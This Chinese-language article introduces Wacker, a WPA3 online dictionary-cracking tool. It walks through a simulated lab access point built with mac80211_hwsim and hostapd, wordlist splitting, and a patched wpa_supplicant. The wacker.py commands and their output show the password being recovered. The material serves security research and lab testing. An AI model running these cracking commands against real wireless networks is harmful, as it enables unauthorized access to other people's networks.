Wacker是一款功能强大的WPA3字典破解工具,这个工具由多个脚本文件组成,可以帮助广大研究人员针对WPA3无线接入点进行在线字典破解攻击。Wacker利用了wpa_supplicant控制接口来控制supplicant守护进程的行为,并获取状态信息和事件通知,最终实现在暴力破解过程中的连接加速。
如果你已经有一个目标WPA3无线接入点的话,那就不用看这一部分了。或者说,我们也可以使用mac80211_hwsim或RF Hackers Sanctuary提供的VM来设置一套本地环境。不过。使用模拟的mac80211环境相对来说还是比较麻烦的。
我们可以使用下列命令,配置我们自己的软件模拟器(802.11),并加载正确的mac80211_hwsim模块:
# modprobe mac80211_hwsim radios=4 # iwconfig wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on wlan1 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on wlan2 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on wlan3 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on
选择一个新的接口作为你的WPA3接入点,并使用下列的配置文件:
# cat hostapd.conf interface=wlan0 ssid=WCTF_18 driver=nl80211 hw_mode=g channel=1 logger_syslog=-1 logger_syslog_level=3 wpa=2 wpa_passphrase=Aeromechanics wpa_key_mgmt=SAE rsn_pairwise=CCMP ieee80211w=1 group_mgmt_cipher=AES-128-CMAC
接下来,运行下列命令开启接入点:
# hostapd -K -dd hostapd.conf
如果你想要对字典文件进行分割的话,可以直接使用本项目所提供的split.sh脚本来实现:
# ./split.sh 10 cyberpunk.words 50916 cyberpunk.words.aaa 50916 cyberpunk.words.aab 50916 cyberpunk.words.aac 50916 cyberpunk.words.aad 50916 cyberpunk.words.aae 50916 cyberpunk.words.aaf 50916 cyberpunk.words.aag 50916 cyberpunk.words.aah 50916 cyberpunk.words.aai 50907 cyberpunk.words.aaj 509151 total
我们在该项目中提供了自己的wpa_supplicant,以保证某些配置的正确性和程序源代码的稳定执行。如需构建自定义的wpa_supplicant,只需要按照下列代码操作即可。
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev # cd wpa_supplicant-2.8/wpa_supplicant/ # cp defconfig_brute_force .config # make -j4 # ls -al wpa_supplicant -rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
在这里,我们还可以添加一些新的事件消息并挂载到wpa_supplicant控制接口以帮助更好地分析Wacker流量。
/** auth success for our brute force stuff (WPA3) */ #define WPA_EVENT_BRUTE_SUCCESS "CTRL-EVENT-BRUTE-SUCCESS " /** auth failure for our brute force stuff (WPA3) */ #define WPA_EVENT_BRUTE_FAILURE "CTRL-EVENT-BRUTE-FAILURE "
该项目的wacker.py脚本使用了一些f-strings以及pyont3-isms。在使用Wacker之前,我们需要在本地计算机中安装好Python 3.7,以及相关的依赖组件:
# apt-get install build-essential tk-dev libncurses5-dev libncursesw5-dev libreadline6-dev libdb5.3-dev libgdbm-dev libsqlite3-dev libssl-dev libbz2-dev libexpat1-dev liblzma-dev zlib1g-dev libffi-dev -y # wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz # tar xf Python-3.7.0.tar.xz # cd Python-3.7.0 # ./configure # make -j4 # make altinstall
在安装好相应的依赖组件及环境之后,广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/blunderbuss-wctf/wacker.git
wacker.py脚本可以帮助广大研究人员执行下列任务:
# ./wacker.py --help usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID --ssid SSID --freq FREQ [--start START_WORD] [--debug] A WPA3 dictionary cracker. Must run as root! optional arguments: -h, --help show this help message and exit --wordlist WORDLIST wordlist to use --interface INTERFACE interface to use --bssid BSSID bssid of the target --ssid SSID the ssid of the WPA3 AP --freq FREQ frequency of the ap --start START_WORD word to start with in the wordlist --debug increase logging output
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412 Start time: 21 Aug 2020 07:40:11 Starting wpa_supplicant... 5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49) Found the password: 'Aeromechanics' Stop time: 21 Aug 2020 07:41:24
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412 # ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412 # ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
Wacker:【GitHub传送门】
很赞哦! (119)